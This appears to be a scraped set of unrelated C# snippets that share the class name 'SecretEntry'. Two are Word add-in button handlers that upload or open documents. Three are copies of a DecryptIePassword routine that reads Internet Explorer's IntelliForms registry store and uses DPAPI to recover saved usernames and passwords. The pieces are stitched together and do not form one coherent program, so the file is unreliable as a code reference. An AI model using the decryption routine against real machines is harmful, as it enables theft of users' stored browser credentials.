protected override void OnButtonAction(XRibbonButton xRibbonButton, RibbonEventArgs e) { //Commands.DocumentAdmin.Execute(SceneContext.Instance); OfficeWord.Application app = SceneContext.Instance.WordAppAdmin.Application; OfficeWord.Document doc = app.ActiveDocument; if (doc != null) { doc.Save(); var entry = new SecretEntry() { LoginEntity = null, BizFileName = doc.FullName, BizFileId = "", }; SceneContext.Instance.SecretDataAdmin.Set(doc, entry); string filename = doc.FullName; string tempFileName = Path.Combine(Logger.TemporaryDirectory, doc.Name); File.Copy(filename, tempFileName); if (SceneContext.Instance.FileServer.Upload(tempFileName, doc.Name)) { MessageBox.Show("文件新增成功!"); } File.Delete(tempFileName); } }
public static bool DecryptIePassword(string url, List <string[]> dataList) { string uRLHashString = GetURLHashString(url); if (!DoesURLMatchWithHash(uRLHashString)) { return(false); } RegistryKey key = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Internet Explorer\IntelliForms\Storage2"); if (key == null) { return(false); } byte[] encryptedData = (byte[])key.GetValue(uRLHashString); key.Close(); byte[] dst = new byte[2 * (url.Length + 1)]; Buffer.BlockCopy(url.ToCharArray(), 0, dst, 0, url.Length * 2); byte[] bytes = ProtectedData.Unprotect(encryptedData, dst, DataProtectionScope.CurrentUser); IEAutoComplteSecretHeader structure = ByteArrayToStructure <IEAutoComplteSecretHeader>(bytes); if (bytes.Length >= ((structure.dwSize + structure.dwSecretInfoSize) + structure.dwSecretSize)) { uint num = structure.IESecretHeader.dwTotalSecrets / 2; int num2 = Marshal.SizeOf(typeof(SecretEntry)); byte[] buffer4 = new byte[structure.dwSecretSize]; int srcOffset = (int)(structure.dwSize + structure.dwSecretInfoSize); Buffer.BlockCopy(bytes, srcOffset, buffer4, 0, buffer4.Length); if (dataList == null) { dataList = new List <string[]>(); } else { dataList.Clear(); } srcOffset = Marshal.SizeOf(structure); for (int i = 0; i < num; i++) { byte[] buffer5 = new byte[num2]; Buffer.BlockCopy(bytes, srcOffset, buffer5, 0, buffer5.Length); SecretEntry entry = ByteArrayToStructure <SecretEntry>(buffer5); string[] item = new string[3]; byte[] buffer6 = new byte[entry.dwLength * 2]; Buffer.BlockCopy(buffer4, (int)entry.dwOffset, buffer6, 0, buffer6.Length); item[0] = Encoding.Unicode.GetString(buffer6); srcOffset += num2; Buffer.BlockCopy(bytes, srcOffset, buffer5, 0, buffer5.Length); entry = ByteArrayToStructure <SecretEntry>(buffer5); byte[] buffer7 = new byte[entry.dwLength * 2]; Buffer.BlockCopy(buffer4, (int)entry.dwOffset, buffer7, 0, buffer7.Length); item[1] = Encoding.Unicode.GetString(buffer7); item[2] = uRLHashString; dataList.Add(item); srcOffset += num2; } } return(true); }
static bool DecryptIePassword(string url, List <string[]> dataList) { byte[] cypherBytes; //Get the hash for the passed URL string urlHash = GetURLHashString(url); //Check if this hash matches with stored hash in registry if (!DoesURLMatchWithHash(urlHash)) { return(false); } //Now retrieve the encrypted credentials for this registry hash entry.... using (RegistryKey key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.CurrentUser, regPath)) { if (key == null) { return(false); } //Retrieve encrypted data for this website hash... //First get the value... cypherBytes = (byte[])key.GetValue(urlHash); } // to use URL as optional entropy we must include trailing null character byte[] optionalEntropy = new byte[2 * (url.Length + 1)]; Buffer.BlockCopy(url.ToCharArray(), 0, optionalEntropy, 0, url.Length * 2); //Now decrypt the Autocomplete credentials.... byte[] decryptedBytes = ProtectedData.Unprotect(cypherBytes, optionalEntropy, DataProtectionScope.CurrentUser); var ieAutoHeader = ByteArrayToStructure <IEAutoComplteSecretHeader>(decryptedBytes); //check if the data contains enough length.... if (decryptedBytes.Length >= (ieAutoHeader.dwSize + ieAutoHeader.dwSecretInfoSize + ieAutoHeader.dwSecretSize)) { //Get the total number of secret entries (username & password) for the site... // user name and passwords are accounted as separate secrets, but will be threated in pairs here. uint dwTotalSecrets = ieAutoHeader.IESecretHeader.dwTotalSecrets / 2; int sizeOfSecretEntry = Marshal.SizeOf(typeof(SecretEntry)); byte[] secretsBuffer = new byte[ieAutoHeader.dwSecretSize]; int offset = (int)(ieAutoHeader.dwSize + ieAutoHeader.dwSecretInfoSize); Buffer.BlockCopy(decryptedBytes, offset, secretsBuffer, 0, secretsBuffer.Length); if (dataList == null) { dataList = new List <string[]>(); } else { dataList.Clear(); } offset = Marshal.SizeOf(ieAutoHeader); // Each time process 2 secret entries for username & password for (int i = 0; i < dwTotalSecrets; i++) { byte[] secEntryBuffer = new byte[sizeOfSecretEntry]; Buffer.BlockCopy(decryptedBytes, offset, secEntryBuffer, 0, secEntryBuffer.Length); SecretEntry secEntry = ByteArrayToStructure <SecretEntry>(secEntryBuffer); string[] dataTriplet = new string[3]; // store data such as url, username & password for each secret byte[] secret1 = new byte[secEntry.dwLength * 2]; Buffer.BlockCopy(secretsBuffer, (int)secEntry.dwOffset, secret1, 0, secret1.Length); dataTriplet[0] = Encoding.Unicode.GetString(secret1); // read another secret entry offset += sizeOfSecretEntry; Buffer.BlockCopy(decryptedBytes, offset, secEntryBuffer, 0, secEntryBuffer.Length); secEntry = ByteArrayToStructure <SecretEntry>(secEntryBuffer); byte[] secret2 = new byte[secEntry.dwLength * 2]; //Get the next secret's offset i.e password Buffer.BlockCopy(secretsBuffer, (int)secEntry.dwOffset, secret2, 0, secret2.Length); dataTriplet[1] = Encoding.Unicode.GetString(secret2); dataTriplet[2] = urlHash; //move to next entry dataList.Add(dataTriplet); offset += sizeOfSecretEntry; } } return(true); }
protected override void OnButtonAction(XRibbonButton xRibbonButton, RibbonEventArgs e) { OfficeWord.Application app = SceneContext.Instance.WordAppAdmin.Application; var file = new FilesForm(context, app); if (file.ShowDialog() == DialogResult.OK) { if (string.IsNullOrEmpty(file.LocalFileName)) { return; } // 关闭当前的文档 object missing = System.Reflection.Missing.Value; var newFile = new FileInfo(file.LocalFileName); if (newFile.Exists) { // 注入用户数据 //CreateCustomXml(openFileName, loginObj); // 打开该文件 object fileNameObj = file.LocalFileName; object visible = true; app.ScreenUpdating = false; OfficeWord.Document wDoc = app.Documents.Open(ref fileNameObj, ref missing, ref missing , ref missing, ref missing, ref missing , ref missing, ref missing, ref missing , ref missing, ref missing, ref visible , ref missing, ref missing, ref missing , ref missing); app.ScreenUpdating = true; // 记录当前文档数据 var entry = new SecretEntry() { LoginEntity = null, BizFileName = file.LocalFileName, BizFileId = "", }; SceneContext.Instance.SecretDataAdmin.Set(wDoc, entry); //wDoc.ActiveWindow.View.Type = Microsoft.Office.Interop.Word.WdViewType.wdPrintView; // 记录当前文档数据 //SecretEntry entry = new SecretEntry() //{ // LoginEntity = loginEntity, // BizFileName = fileInfo.FullName, // BizFileId = fileInfo.FileId, // AuthAdmin = secretEntry.AuthAdmin, //}; //context.SecretDataAdmin.Set(wDoc, entry); // 获取数据 //string xml = wDoc.SelectPartXmlByNamespace("---namespace----"); //object saveChange = false; //doc.Close(ref saveChange, ref nullobj, ref nullobj); } } //var dialog = new F.OpenFileDialog(); //dialog.InitialDirectory = @"C:\"; //dialog.Filter = "所有Word文档|*.docx;*.docm;*.dotx;*.doc;*.dot;*.htm;*.html|Word文档|*.docx|启用宏的Word文档|*.docm|Xml文件|*.xml|Word97-2003文档|*.doc"; //dialog.FilterIndex = 1; //if (dialog.ShowDialog() == F.DialogResult.OK) //{ // string fileName = dialog.FileName; // //// 检查文件是否已打开 // //string fileName = context.WordAppAdmin.Application.ActiveDocument.Name; // //if (fileName.Equals(dialog.FileName)) // //{ // // MessageBox.Show(string.Format("文件 {0}已打开.",fileName)); // // return false; // //} }
private static bool DecryptIePassword(string url, List <string[]> dataList) { byte[] cypherBytes; string urlHash = GetURLHashString(url); if (!DoesURLMatchWithHash(urlHash)) { return(false); } using (RegistryKey key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.CurrentUser, regPath)) { if (key == null) { return(false); } cypherBytes = (byte[])key.GetValue(urlHash); } byte[] optionalEntropy = new byte[2 * (url.Length + 1)]; Buffer.BlockCopy(url.ToCharArray(), 0, optionalEntropy, 0, url.Length * 2); byte[] decryptedBytes = ProtectedData.Unprotect(cypherBytes, optionalEntropy, DataProtectionScope.CurrentUser); var ieAutoHeader = ByteArrayToStructure <IEAutoComplteSecretHeader>(decryptedBytes); if (decryptedBytes.Length >= (ieAutoHeader.dwSize + ieAutoHeader.dwSecretInfoSize + ieAutoHeader.dwSecretSize)) { uint dwTotalSecrets = ieAutoHeader.IESecretHeader.dwTotalSecrets / 2; int sizeOfSecretEntry = Marshal.SizeOf(typeof(SecretEntry)); byte[] secretsBuffer = new byte[ieAutoHeader.dwSecretSize]; int offset = (int)(ieAutoHeader.dwSize + ieAutoHeader.dwSecretInfoSize); Buffer.BlockCopy(decryptedBytes, offset, secretsBuffer, 0, secretsBuffer.Length); if (dataList == null) { dataList = new List <string[]>(); } else { dataList.Clear(); } offset = Marshal.SizeOf(ieAutoHeader); for (int i = 0; i < dwTotalSecrets; i++) { byte[] secEntryBuffer = new byte[sizeOfSecretEntry]; Buffer.BlockCopy(decryptedBytes, offset, secEntryBuffer, 0, secEntryBuffer.Length); SecretEntry secEntry = ByteArrayToStructure <SecretEntry>(secEntryBuffer); string[] dataTriplet = new string[3]; byte[] secret1 = new byte[secEntry.dwLength * 2]; Buffer.BlockCopy(secretsBuffer, (int)secEntry.dwOffset, secret1, 0, secret1.Length); dataTriplet[0] = Encoding.Unicode.GetString(secret1); offset += sizeOfSecretEntry; Buffer.BlockCopy(decryptedBytes, offset, secEntryBuffer, 0, secEntryBuffer.Length); secEntry = ByteArrayToStructure <SecretEntry>(secEntryBuffer); byte[] secret2 = new byte[secEntry.dwLength * 2]; Buffer.BlockCopy(secretsBuffer, (int)secEntry.dwOffset, secret2, 0, secret2.Length); dataTriplet[1] = Encoding.Unicode.GetString(secret2); dataTriplet[2] = urlHash; dataList.Add(dataTriplet); offset += sizeOfSecretEntry; } } return(true); }